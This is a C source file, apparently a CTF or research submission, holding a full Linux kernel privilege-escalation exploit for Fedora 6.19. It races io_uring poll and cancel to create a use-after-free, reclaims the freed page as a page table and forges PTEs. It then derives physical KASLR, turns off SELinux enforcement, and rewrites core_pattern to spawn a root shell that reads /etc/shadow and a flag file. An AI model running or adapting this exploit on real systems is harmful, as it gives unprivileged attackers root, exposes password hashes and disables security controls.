/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef MAP_FIXED_NOREPLACE #define MAP_FIXED_NOREPLACE 0x100000 #endif #define PERF_TYPE_SOFTWARE 1 #define PERF_COUNT_SW_PAGE_FAULTS 2 #define KCMP_FILE 0 /* * PERF_ATTR_SIZE_VER0 is enough for a disabled, current-task software event. * Keep the definition local so the submission remains buildable by musl-gcc * installations which do not ship linux/perf_event.h. */ struct perf_event_attr_v0 { uint32_t type; uint32_t size; uint64_t config; uint64_t sample_period; uint64_t sample_type; uint64_t read_format; uint64_t flags; uint32_t wakeup_events; uint32_t bp_type; uint64_t bp_addr; }; struct ring { int fd; unsigned entries; struct io_uring_params p; void *sq_map; void *cq_map; struct io_uring_sqe *sqes; unsigned *sq_head; unsigned *sq_tail; unsigned *sq_mask; unsigned *sq_flags; unsigned *sq_array; unsigned *cq_head; unsigned *cq_tail; unsigned *cq_mask; struct io_uring_cqe *cqes; }; static uint64_t now_ns(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (uint64_t)ts.tv_sec * 1000000000ULL + ts.tv_nsec; } static void fail(const char *what) { perror(what); exit(1); } static int uring_enter(int fd, unsigned submit, unsigned min_complete, unsigned flags) { return syscall(__NR_io_uring_enter, fd, submit, min_complete, flags, NULL, 0); } static int uring_register(int fd, unsigned opcode, const void *arg, unsigned nr_args) { return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); } static void ring_init_flags(struct ring *r, unsigned entries, unsigned flags) { size_t sq_sz, cq_sz; void *sq, *cq; memset(r, 0, sizeof(*r)); r->p.flags = flags; r->fd = syscall(__NR_io_uring_setup, entries, &r->p); if (r->fd < 0) fail("io_uring_setup"); r->entries = r->p.sq_entries; sq_sz = r->p.sq_off.array + r->p.sq_entries * sizeof(unsigned); cq_sz = r->p.cq_off.cqes + r->p.cq_entries * sizeof(struct io_uring_cqe); if (r->p.features & IORING_FEAT_SINGLE_MMAP) { if (cq_sz > sq_sz) sq_sz = cq_sz; sq = mmap(NULL, sq_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING); if (sq == MAP_FAILED) fail("mmap rings"); cq = sq; } else { sq = mmap(NULL, sq_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING); cq = mmap(NULL, cq_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_CQ_RING); if (sq == MAP_FAILED || cq == MAP_FAILED) fail("mmap split rings"); } r->sq_map = sq; r->cq_map = cq; r->sqes = mmap(NULL, r->p.sq_entries * sizeof(*r->sqes), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQES); if (r->sqes == MAP_FAILED) fail("mmap sqes"); r->sq_head = sq + r->p.sq_off.head; r->sq_tail = sq + r->p.sq_off.tail; r->sq_mask = sq + r->p.sq_off.ring_mask; r->sq_flags = sq + r->p.sq_off.flags; r->sq_array = sq + r->p.sq_off.array; r->cq_head = cq + r->p.cq_off.head; r->cq_tail = cq + r->p.cq_off.tail; r->cq_mask = cq + r->p.cq_off.ring_mask; r->cqes = cq + r->p.cq_off.cqes; } static void ring_init(struct ring *r, unsigned entries) { ring_init_flags(r, entries, 0); } static struct io_uring_sqe *ring_get_sqe(struct ring *r) { unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail, memory_order_relaxed); unsigned index = tail & *r->sq_mask; struct io_uring_sqe *sqe = &r->sqes[index]; memset(sqe, 0, sizeof(*sqe)); r->sq_array[index] = index; atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + 1, memory_order_release); return sqe; } static int ring_submit_one(struct ring *r, struct io_uring_sqe *sqe) { (void)sqe; return uring_enter(r->fd, 1, 0, 0); } static unsigned ring_reap(struct ring *r) { unsigned head = atomic_load_explicit((_Atomic unsigned *)r->cq_head, memory_order_relaxed); unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->cq_tail, memory_order_acquire); atomic_store_explicit((_Atomic unsigned *)r->cq_head, tail, memory_order_release); return tail - head; } static void producer_prepare(struct ring *r, int event_fd, uint64_t *one) { unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail, memory_order_relaxed); int fixed_fd = event_fd; if (uring_register(r->fd, IORING_REGISTER_FILES, &fixed_fd, 1)) fail("register producer eventfd"); for (unsigned i = 0; i < r->entries; i++) { unsigned pos = (tail + i) & *r->sq_mask; struct io_uring_sqe *sqe = &r->sqes[pos]; memset(sqe, 0, sizeof(*sqe)); sqe->opcode = IORING_OP_WRITE; sqe->flags = IOSQE_FIXED_FILE | IOSQE_CQE_SKIP_SUCCESS; sqe->fd = 0; sqe->off = (uint64_t)-1; sqe->addr = (uintptr_t)one; sqe->len = sizeof(*one); r->sq_array[pos] = pos; } } static void producer_run(struct ring *r, uint64_t wakeups) { uint64_t start = now_ns(), done = 0; unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail, memory_order_relaxed); while (done < wakeups) { unsigned batch = r->entries; int ret; if (wakeups - done < batch) batch = wakeups - done; atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch, memory_order_release); tail += batch; ret = uring_enter(r->fd, batch, 0, 0); if (ret != (int)batch) { fprintf(stderr, "producer submit %d/%u errno=%d\n", ret, batch, errno); exit(1); } done += batch; if (!(done & ((1ULL << 24) - 1))) { double seconds = (now_ns() - start) / 1e9; printf("[.] wakeups=%llu rate=%.2f M/s\n", (unsigned long long)done, done / seconds / 1e6); } } printf("[+] generated %llu wakeups in %.3f seconds (%.2f M/s)\n", (unsigned long long)done, (now_ns() - start) / 1e9, done / ((now_ns() - start) / 1e9) / 1e6); } static void producer_run_direct(int event_fd, uint64_t wakeups) { uint64_t start = now_ns(), one = 1; for (uint64_t done = 0; done < wakeups; done++) { register long nr asm("rax") = __NR_write; register long fd asm("rdi") = event_fd; register const void *buf asm("rsi") = &one; register long len asm("rdx") = sizeof(one); asm volatile("syscall" : "+a"(nr) : "D"(fd), "S"(buf), "d"(len) : "rcx", "r11", "memory"); if (nr != sizeof(one)) fail("direct eventfd write"); if (!((done + 1) & ((1ULL << 24) - 1))) { double seconds = (now_ns() - start) / 1e9; printf("[.] direct wakeups=%llu rate=%.2f M/s\n", (unsigned long long)(done + 1), (done + 1) / seconds / 1e6); } } printf("[+] generated %llu direct wakeups in %.3f seconds (%.2f M/s)\n", (unsigned long long)wakeups, (now_ns() - start) / 1e9, wakeups / ((now_ns() - start) / 1e9) / 1e6); } static void producer_run_sqpoll(struct ring *r, uint64_t wakeups) { uint64_t start = now_ns(), done = 0; unsigned tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail, memory_order_relaxed); while (done < wakeups) { unsigned head = atomic_load_explicit((_Atomic unsigned *)r->sq_head, memory_order_acquire); unsigned space = r->entries - (tail - head); unsigned batch; if (!space) { if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags, memory_order_acquire) & IORING_SQ_NEED_WAKEUP) (void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP); asm volatile("pause"); continue; } batch = space; if (wakeups - done < batch) batch = wakeups - done; atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch, memory_order_release); tail += batch; done += batch; if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags, memory_order_acquire) & IORING_SQ_NEED_WAKEUP) (void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP); if (!(done & ((1ULL << 24) - 1))) { double seconds = (now_ns() - start) / 1e9; printf("[.] sqpoll wakeups=%llu rate=%.2f M/s\n", (unsigned long long)done, done / seconds / 1e6); } } while (atomic_load_explicit((_Atomic unsigned *)r->sq_head, memory_order_acquire) != tail) { if (atomic_load_explicit((_Atomic unsigned *)r->sq_flags, memory_order_acquire) & IORING_SQ_NEED_WAKEUP) (void)uring_enter(r->fd, 0, 0, IORING_ENTER_SQ_WAKEUP); asm volatile("pause"); } printf("[+] generated %llu sqpoll wakeups in %.3f seconds (%.2f M/s)\n", (unsigned long long)wakeups, (now_ns() - start) / 1e9, wakeups / ((now_ns() - start) / 1e9) / 1e6); } static void pin_to_cpu(unsigned cpu) { cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(cpu, &cpus); if (sched_setaffinity(0, sizeof(cpus), &cpus)) fail("sched_setaffinity"); } static void locked_wake_resumer(int go_fd, int ready_fd, pid_t target) { char byte; pin_to_cpu(0); if (write(ready_fd, "R", 1) != 1) fail("locked wake resumer ready"); if (read(go_fd, &byte, 1) != 1) fail("locked wake resumer go"); if (kill(target, SIGCONT)) fail("locked wake SIGCONT"); _exit(0); } /* * The first SQE wakes a CPU-0 helper which resumes the stopped owner task. * That task removes the already-pending task-work node and then blocks on this * ring's uring_lock. The following NOPs keep the CPU-1 io_uring_enter() in * the locked submission section until the last SQE writes target_eventfd. * Its poll callback observes the wrapped zero ref field, takes false * ownership and queues the same node again. Only then is uring_lock released, * so the original task work completes/frees the request before the newly * queued work consumes it again. */ static void locked_wake_batch(struct ring *r, int target_eventfd, pid_t target) { int go[2], ready[2], status; uint64_t one = 1; char byte = 'G'; unsigned tail, batch = r->entries; pid_t resumer; if (pipe(go) || pipe(ready)) fail("locked wake pipes"); resumer = fork(); if (resumer < 0) fail("locked wake fork"); if (!resumer) locked_wake_resumer(go[0], ready[1], target); close(go[0]); close(ready[1]); if (read(ready[0], &byte, 1) != 1) fail("locked wake wait ready"); tail = atomic_load_explicit((_Atomic unsigned *)r->sq_tail, memory_order_relaxed); for (unsigned i = 0; i < batch; i++) { unsigned pos = (tail + i) & *r->sq_mask; struct io_uring_sqe *sqe = &r->sqes[pos]; memset(sqe, 0, sizeof(*sqe)); sqe->flags = IOSQE_CQE_SKIP_SUCCESS; if (i == 0) { sqe->opcode = IORING_OP_WRITE; sqe->fd = go[1]; sqe->off = (uint64_t)-1; sqe->addr = (uintptr_t)&byte; sqe->len = 1; } else if (i == batch - 1) { sqe->opcode = IORING_OP_WRITE; sqe->fd = target_eventfd; sqe->off = (uint64_t)-1; sqe->addr = (uintptr_t)&one; sqe->len = sizeof(one); } else { sqe->opcode = IORING_OP_NOP; } r->sq_array[pos] = pos; } atomic_store_explicit((_Atomic unsigned *)r->sq_tail, tail + batch, memory_order_release); pin_to_cpu(1); printf("[+] submitting %u locked SQEs\n", batch); if (uring_enter(r->fd, batch, 0, 0) != (int)batch) fail("locked wake io_uring_enter"); close(go[1]); if (waitpid(resumer, &status, 0) != resumer || !WIFEXITED(status) || WEXITSTATUS(status)) fail("locked wake resumer"); puts("[+] locked target wake submitted after owner resume"); } #define FEDORA_CORE_PATTERN 0xffffffff83c77c60ULL #define PERF_RECLAIM_FILES 256 #define PT_SPRAY_COUNT 4096 #define PT_SPRAY_STRIDE (2UL * 1024 * 1024) #define PT_SPRAY_BASE 0x10000000000UL #define PERF_MARKER_OFF 0xf00 #define PERF_MARKER UINT64_C(0x5f6e656275736563) #define NEBUSEC_TAG UINT64_C(0x5f6e656200000001) #define FEDORA_TEXT_LINK 0xffffffff81000000ULL #define FEDORA_PHYS_START 0x01000000ULL #define FEDORA_PHYS_END 0x3ffdc000ULL #define FEDORA_SELINUX_STATE 0xffffffff84b36f40ULL #define FEDORA_TRAMPOLINE_PHYS 0x0009c000ULL #define FEDORA_TRAMPOLINE_LEAK_OFF 0x03e04000ULL static char saved_core_pattern[128]; static int spray_seed_fd = -1; static void root_payload(int pid) { char path[192]; int pidfd, fd; pidfd = syscall(SYS_pidfd_open, pid, 0); for (int i = 0; i < 3 && pidfd >= 0; i++) { fd = syscall(SYS_pidfd_getfd, pidfd, i, 0); if (fd >= 0) { dup2(fd, i); close(fd); } } printf("[+] root core helper running uid=%u euid=%u\n", getuid(), geteuid()); snprintf(path, sizeof(path), "id; head -n 1 /etc/shadow; cat /flag 2>/dev/null || cat /root/flag 2>/dev/null"); execl("/bin/sh", "sh", "-c", path, NULL); _exit(1); } static void trigger_core_helper(void) { struct rlimit lim = { RLIM_INFINITY, RLIM_INFINITY }; int memfd, self; (void)setrlimit(RLIMIT_CORE, &lim); memfd = syscall(SYS_memfd_create, "_nebusec", 0); self = open("/proc/self/exe", O_RDONLY); if (memfd < 0 || self < 0) fail("prepare core helper"); if (sendfile(memfd, self, NULL, 1U << 24) < 0) fail("copy core helper"); if (dup2(memfd, 666) != 666) fail("dup core helper"); close(memfd); close(self); puts("[+] triggering core helper"); *(volatile unsigned long *)0 = 0; } static size_t read_core_pattern(char *out, size_t out_sz) { int fd; ssize_t n; fd = open("/proc/sys/kernel/core_pattern", O_RDONLY); if (fd < 0) fail("open core_pattern"); n = read(fd, out, out_sz - 1); close(fd); if (n <= 0) fail("read core_pattern"); while (n && (out[n - 1] == '\n' || out[n - 1] == '\r')) n--; out[n] = 0; return n; } static int perf_open_self(void) { struct perf_event_attr_v0 attr; memset(&attr, 0, sizeof(attr)); attr.type = PERF_TYPE_SOFTWARE; attr.size = sizeof(attr); attr.config = PERF_COUNT_SW_PAGE_FAULTS; /* disabled | exclude_kernel | exclude_hv */ attr.flags = (1ULL << 0) | (1ULL << 5) | (1ULL << 6); return syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); } static void flush_cacheline(void *addr) { asm volatile("clflush (%0)" : : "r"(addr) : "memory"); asm volatile("mfence" : : : "memory"); } static void discard_user_translation(void *addr, size_t len) { /* Zap the legitimate shmem PTE and its cached translation before the * raw page-table alias installs a replacement. Doing this afterwards * would make the kernel account the forged physical page as file data. */ if (madvise(addr, len, MADV_DONTNEED)) fail("discard old user translation"); } /* * Exploit closure for 326941b2 only: * * - the duplicated poll completion leaves target_fd pointing at a freed * struct file; * - reclaim that exact filp with a perf event and locate it with KCMP_FILE; * - the stale descriptor supplies the one unaccounted fput which releases * the event/ring while its VMA is live; * - Fedora 6.19 maps perf pages with VM_PFNMAP, so reclaim the raw page as a * PTE page and prove that the still-live perf VMA controls those PTEs. * * perf_event_open/mmap are both available to stock uid 65534 on the Fedora * target (perf_event_paranoid=2). No namespace or target setting is used. */ static void perf_page_uaf_exploit(int target_fd) { struct rlimit nofile = { 8192, 8192 }; int perf_fds[PERF_RECLAIM_FILES]; void *perf_maps[PERF_RECLAIM_FILES]; void *pt_addrs[PT_SPRAY_COUNT]; volatile uint64_t *uaf = NULL; unsigned victim = PERF_RECLAIM_FILES; int memfd; uint64_t seed = PERF_MARKER; pid_t self = getpid(); memset(perf_fds, -1, sizeof(perf_fds)); memset(perf_maps, 0, sizeof(perf_maps)); memset(pt_addrs, 0, sizeof(pt_addrs)); (void)setrlimit(RLIMIT_NOFILE, &nofile); /* filp_cachep is SLAB_TYPESAFE_BY_RCU. */ pin_to_cpu(0); usleep(1000000); for (unsigned i = 0; i < PERF_RECLAIM_FILES; i++) { pin_to_cpu(i & 1); perf_fds[i] = perf_open_self(); if (perf_fds[i] < 0) fail("perf_event_open reclaim"); perf_maps[i] = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, perf_fds[i], 0); if (perf_maps[i] == MAP_FAILED) fail("mmap perf reclaim"); *(volatile uint64_t *)((char *)perf_maps[i] + PERF_MARKER_OFF) = PERF_MARKER ^ i; } for (unsigned i = 0; i < PERF_RECLAIM_FILES; i++) { if (syscall(SYS_kcmp, self, self, KCMP_FILE, target_fd, perf_fds[i]) == 0) { victim = i; break; } } if (victim == PERF_RECLAIM_FILES) { puts("[-] perf filp reclaim missed"); for (;;) pause(); } printf("[+] dangling filp reclaimed by perf event %u\n", victim); uaf = perf_maps[victim]; /* Only create unrelated files after the dangling filp has been pinned * by the replacement perf fd+VMA. Otherwise the memfd itself could * consume the just-released filp slot before the intended reclaim. * The empty VMAs do not allocate PTE pages until first touch below. */ memfd = syscall(SYS_memfd_create, "_nebusec_pte", 0); /* Back the complete 2 MiB VMA. shmem may fault-around neighboring PTEs; * flush_user_translation() below explicitly invalidates those cached * translations after every forged-PTE batch. */ if (memfd < 0 || ftruncate(memfd, PT_SPRAY_STRIDE)) fail("prepare PTE spray memfd"); if (pwrite(memfd, &seed, sizeof(seed), 0) != sizeof(seed)) fail("seed PTE spray memfd"); for (unsigned i = 0; i < PT_SPRAY_COUNT; i++) { void *want = (void *)(PT_SPRAY_BASE + i * PT_SPRAY_STRIDE); pt_addrs[i] = mmap(want, PT_SPRAY_STRIDE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED_NOREPLACE, memfd, 0); if (pt_addrs[i] != want) fail("reserve PTE spray VMA"); } /* Preallocate every upper-level page-table page. One helper PTE table at * the end of each 1 GiB region keeps the subsequently released perf page * from being consumed as a PMD table instead of the controllable leaf PTE * table we need. */ for (unsigned i = 511; i < PT_SPRAY_COUNT; i += 512) *(volatile uint64_t *)pt_addrs[i] = PERF_MARKER; /* Make the released page an unambiguous allocation tracer. The event is * disabled, and these are user-writable perf metadata bytes. */ memset((void *)uaf, 0, 4096); /* The real perf file has fd+VMA references. target_fd is the stale, * unaccounted reference: these two closes therefore run ->release with * the perf VMA still installed. */ pin_to_cpu(0); close(target_fd); close(perf_fds[victim]); perf_fds[victim] = -1; puts("[+] released perf event/ring behind live VM_PFNMAP VMA"); /* The ring page is released from an RCU callback. A short grace-period * wait is enough on this two-vCPU target and leaves less time for unrelated * order-0 allocations to consume the page before the PTE spray. */ usleep(300000); /* Touch one separate 2 MiB range at a time and inspect the released page * after each allocation. This identifies the owning VMA at the instant * the page becomes a PTE table, without zapping and freeing that table. */ { unsigned owner = PT_SPRAY_COUNT; uint64_t pte = 0; for (unsigned i = 0; i < PT_SPRAY_COUNT; i++) { if ((i & 511) == 511) continue; *(volatile uint64_t *)pt_addrs[i] = PERF_MARKER; pte = uaf[0]; if ((pte & 0xff) == 0x67) { owner = i; break; } } if (owner != PT_SPRAY_COUNT) { printf("[+] freed perf page reclaimed as PTE page: slot=0 pte=%#llx\n", (unsigned long long)pte); if (owner != PT_SPRAY_COUNT) printf("[+] controlled PTE owner=%u address=%p\n", owner, pt_addrs[owner]); else puts("[!] PTE owner identification pending"); if (owner != PT_SPRAY_COUNT) { const char payload[] = "|/proc/%P/exe %P"; const uint64_t core_off = FEDORA_CORE_PATTERN - FEDORA_TEXT_LINK; const uint64_t selinux_off = FEDORA_SELINUX_STATE - FEDORA_TEXT_LINK; const unsigned in_page = FEDORA_CORE_PATTERN & 0xfff; unsigned slots = 0, hit = PT_SPRAY_COUNT; uint64_t text_phys_found = 0; uint64_t flags; char verify[128]; /* Reuse the legitimate writable/dirty memfd PTE's exact * permission bits for the forged entries. */ *(volatile uint64_t *)pt_addrs[owner] = PERF_MARKER; flags = uaf[0] & 0xfff; printf("[+] owner value=%#llx forged-PTE flags=%#llx core-link-offset=%#llx\n", (unsigned long long)*(volatile uint64_t *) pt_addrs[owner], (unsigned long long)flags, (unsigned long long)core_off); { const unsigned alias_slot = 510; uint64_t owner_pte = uaf[0]; uint64_t alias_value; discard_user_translation( (char *)pt_addrs[owner] + alias_slot * 4096, 4096); uaf[alias_slot] = (owner_pte & ~0xfffULL) | flags; flush_cacheline((void *)&uaf[alias_slot]); /* This CPU populated only entry zero while finding the * owner. Read forged entries from the other vCPU, whose * paging-structure caches have never seen this VMA. */ pin_to_cpu(1); alias_value = *(volatile uint64_t *) ((char *)pt_addrs[owner] + alias_slot * 4096); printf("[.] forged self-alias value=%#llx pte-before=%#llx pte-after=%#llx\n", (unsigned long long)alias_value, (unsigned long long) ((owner_pte & ~0xfffULL) | flags), (unsigned long long)uaf[alias_slot]); if (alias_value != PERF_MARKER) { puts("[-] forged PTE did not survive first access"); for (;;) pause(); } } /* Fedora's physical KASLR load base is 2 MiB aligned. * Map every possible core_pattern page at once into the * otherwise untouched entries of the controlled PTE page. * This avoids stale-TLB reuse between candidates. */ discard_user_translation( (char *)pt_addrs[owner] + 4096, 511 * 4096UL); for (uint64_t text_phys = FEDORA_PHYS_START; text_phys + core_off < FEDORA_PHYS_END && slots < 511; text_phys += PT_SPRAY_STRIDE) { uint64_t core_phys = text_phys + core_off; slots++; uaf[slots] = (core_phys & ~0xfffULL) | flags; } for (unsigned line = 0; line < 4096; line += 64) flush_cacheline((char *)uaf + line); for (unsigned slot = 1; slot <= slots; slot++) { char *candidate = (char *)pt_addrs[owner] + slot * 4096 + in_page; if (!memcmp(candidate, saved_core_pattern, strlen(saved_core_pattern))) { hit = slot; text_phys_found = FEDORA_PHYS_START + (uint64_t)(slot - 1) * PT_SPRAY_STRIDE; printf("[+] core_pattern physical candidate slot=%u value=%s\n", hit, candidate); break; } } if (hit == PT_SPRAY_COUNT) { const unsigned tramp_slot = slots + 1; const unsigned core_slot = slots + 2; volatile uint64_t *trampoline; /* The stock x86 trampoline page contains the physical * pointer to __brk_base+0x4000 in qword zero. It is a * fixed architectural page, so this is an in-process * physical KASLR derivation rather than an address * oracle or another vulnerability. */ discard_user_translation( (char *)pt_addrs[owner] + tramp_slot * 4096, 4096); uaf[tramp_slot] = FEDORA_TRAMPOLINE_PHYS | flags; flush_cacheline((void *)&uaf[tramp_slot]); trampoline = (volatile uint64_t *) ((char *)pt_addrs[owner] + tramp_slot * 4096); printf("[.] trampoline qwords=%#llx %#llx %#llx\n", (unsigned long long)trampoline[0], (unsigned long long)trampoline[1], (unsigned long long)trampoline[2]); if (trampoline[0] > FEDORA_PHYS_START && trampoline[0] < FEDORA_PHYS_END && trampoline[1] == 0) { text_phys_found = (trampoline[0] & 0xffffffffULL) - FEDORA_TRAMPOLINE_LEAK_OFF + 4; } if (text_phys_found < FEDORA_PHYS_START || text_phys_found >= FEDORA_PHYS_END || (text_phys_found & (PT_SPRAY_STRIDE - 1))) { puts("[-] physical KASLR derivation failed"); for (;;) pause(); } printf("[+] trampoline-derived physical _stext=%#llx\n", (unsigned long long)text_phys_found); discard_user_translation( (char *)pt_addrs[owner] + core_slot * 4096, 4096); uaf[core_slot] = ((text_phys_found + core_off) & ~0xfffULL) | flags; flush_cacheline((void *)&uaf[core_slot]); if (memcmp((char *)pt_addrs[owner] + core_slot * 4096 + in_page, saved_core_pattern, strlen(saved_core_pattern))) { puts("[-] trampoline-derived core_pattern validation failed"); for (;;) pause(); } hit = core_slot; printf("[+] trampoline-derived core_pattern slot=%u\n", hit); } { const uint64_t text_phys = text_phys_found; const uint64_t selinux_phys = text_phys + selinux_off; const unsigned selinux_slot = 511; volatile unsigned char *enforcing; char enforce_status[8]; int enforce_fd; ssize_t enforce_n; /* Fedora builds with RANDSTRUCT_NONE and * SECURITY_SELINUX_DEVELOP: enforcing and * initialized are bytes zero and one. */ discard_user_translation( (char *)pt_addrs[owner] + selinux_slot * 4096, 4096); uaf[selinux_slot] = (selinux_phys & ~0xfffULL) | flags; flush_cacheline((void *)&uaf[selinux_slot]); enforcing = (volatile unsigned char *) pt_addrs[owner] + selinux_slot * 4096 + (selinux_off & 0xfff); printf("[+] selinux_state bytes before=%02x %02x\n", enforcing[0], enforcing[1]); if (enforcing[0] != 1 || enforcing[1] != 1) { puts("[-] selinux_state physical validation failed"); for (;;) pause(); } enforcing[0] = 0; flush_cacheline((void *)enforcing); enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); enforce_n = enforce_fd < 0 ? -1 : read(enforce_fd, enforce_status, sizeof(enforce_status) - 1); if (enforce_fd >= 0) close(enforce_fd); if (enforce_n <= 0) fail("verify SELinux enforcing"); enforce_status[enforce_n] = 0; printf("[+] SELinux enforcing after overwrite: %s", enforce_status); if (enforce_status[0] != '0') { puts("[-] SELinux disable verification failed"); for (;;) pause(); } } memcpy((char *)pt_addrs[owner] + hit * 4096 + in_page, payload, sizeof(payload)); flush_cacheline((char *)pt_addrs[owner] + hit * 4096 + in_page); read_core_pattern(verify, sizeof(verify)); printf("[+] core_pattern after overwrite: %s\n", verify); if (strcmp(verify, payload)) { puts("[-] core_pattern verification failed"); for (;;) pause(); } if (!fork()) trigger_core_helper(); for (;;) pause(); } puts("[+] _nebusec perf raw-page UAF closure proved"); for (;;) pause(); } } printf("[-] PTE reclaim missed; stale marker=%#llx\n", (unsigned long long)*(volatile uint64_t *) ((char *)uaf + PERF_MARKER_OFF)); for (;;) pause(); } int main(int argc, char **argv) { const uint64_t target_tag = NEBUSEC_TAG; uint64_t wakeups = argc > 1 ? strtoull(argv[1], NULL, 0) : (1ULL << 30) - 1; unsigned workers = argc > 2 ? strtoul(argv[2], NULL, 0) : 1; bool direct = argc <= 3 || !strcmp(argv[3], "direct"); bool sqpoll = argc > 3 && !strcmp(argv[3], "sqpoll"); bool preflight = argc > 3 && !strcmp(argv[3], "preflight"); bool exploit = argc <= 4 || !strcmp(argv[4], "exploit"); struct ring target, *producers; int event_fd, ready[2], resumed[2], status; uint64_t one = 1; pid_t child; setvbuf(stdout, NULL, _IONBF, 0); if (!getuid() && argc > 1) { root_payload(atoi(argv[1])); return 0; } read_core_pattern(saved_core_pattern, sizeof(saved_core_pattern)); printf("[+] stock core_pattern: %s\n", saved_core_pattern); { struct rlimit nofile = { 8192, 8192 }; (void)setrlimit(RLIMIT_NOFILE, &nofile); spray_seed_fd = open("/tmp/_nebusec_poll", O_CREAT | O_RDWR, 0600); if (spray_seed_fd < 0) fail("create spray file"); if (dup2(spray_seed_fd, 4095) != 4095) fail("expand fd table"); close(4095); } if (!workers || workers > 8) fail("invalid worker count"); printf("[+] uid=%d wakeup target=%llu workers=%u\n", getuid(), (unsigned long long)wakeups, workers); event_fd = eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK); if (event_fd < 0 || pipe(ready) || pipe(resumed)) fail("setup fds"); ring_init(&target, wakeups == (1ULL << 30) - 1 ? 32768 : 8); child = fork(); if (child < 0) fail("fork"); if (!child) { struct io_uring_sqe *sqe; pin_to_cpu(0); close(ready[0]); close(resumed[0]); sqe = ring_get_sqe(&target); sqe->opcode = IORING_OP_POLL_ADD; sqe->fd = event_fd; sqe->poll32_events = POLLIN; sqe->user_data = target_tag; if (ring_submit_one(&target, sqe) != 1) fail("submit target poll"); if (write(ready[1], "R", 1) != 1) fail("target ready"); raise(SIGSTOP); /* * In exploit mode the duplicated completion has consumed the poll * file reference twice. Drop this task's descriptor while keeping * the task itself alive: exiting it here would expose the companion * under-count on req->task before the page-UAF chain has run. */ if (exploit) close(event_fd); if (write(resumed[1], "D", 1) != 1) fail("target resumed"); pause(); _exit(0); } close(ready[1]); close(resumed[1]); { char byte; struct io_uring_sqe *sqe; if (read(ready[0], &byte, 1) != 1) fail("wait target ready"); if (waitpid(child, &status, WUNTRACED) != child || !WIFSTOPPED(status)) fail("wait stopped child"); sqe = ring_get_sqe(&target); sqe->opcode = IORING_OP_ASYNC_CANCEL; sqe->fd = -1; sqe->addr = target_tag; sqe->user_data = NEBUSEC_TAG ^ UINT64_C(3); if (ring_submit_one(&target, sqe) != 1) fail("submit target cancel"); } printf("[+] target cancelled with owner task stopped\n"); if (wakeups == (1ULL << 30) - 1) { printf("[+] full-wrap target ring entries=%u\n", target.entries); if (preflight) { kill(child, SIGKILL); waitpid(child, NULL, 0); return 0; } } producers = NULL; if (!direct) { producers = calloc(workers, sizeof(*producers)); if (!producers) fail("calloc producers"); for (unsigned i = 0; i < workers; i++) { ring_init_flags(&producers[i], 32768, sqpoll ? IORING_SETUP_SQPOLL : 0); producer_prepare(&producers[i], event_fd, &one); } } { pid_t *pids = calloc(workers, sizeof(*pids)); if (!pids) fail("calloc producer pids"); for (unsigned i = 0; i < workers; i++) { uint64_t count = wakeups / workers + (i < wakeups % workers); pids[i] = fork(); if (pids[i] < 0) fail("fork producer"); if (!pids[i]) { cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(i % 2, &cpus); (void)sched_setaffinity(0, sizeof(cpus), &cpus); if (direct) producer_run_direct(event_fd, count); else if (sqpoll) producer_run_sqpoll(&producers[i], count); else producer_run(&producers[i], count); _exit(0); } } for (unsigned i = 0; i < workers; i++) { if (waitpid(pids[i], &status, 0) != pids[i] || !WIFEXITED(status) || WEXITSTATUS(status)) fail("producer worker"); } free(pids); } if (wakeups == (1ULL << 30) - 1) { uint64_t counter; if (read(event_fd, &counter, sizeof(counter)) != sizeof(counter)) fail("drain eventfd"); printf("[+] drained eventfd counter=%llu\n", (unsigned long long)counter); locked_wake_batch(&target, event_fd, child); } else { printf("[+] resuming target task\n"); kill(child, SIGCONT); } { struct pollfd pfd = { .fd = resumed[0], .events = POLLIN }; char byte; if (poll(&pfd, 1, 5000) > 0 && read(resumed[0], &byte, 1) == 1) puts("[+] target returned after pending task work"); else puts("[!] target did not return"); } printf("[+] target CQEs=%u\n", ring_reap(&target)); if (exploit) { perf_page_uaf_exploit(event_fd); } else { kill(child, SIGKILL); waitpid(child, NULL, 0); } return 0; }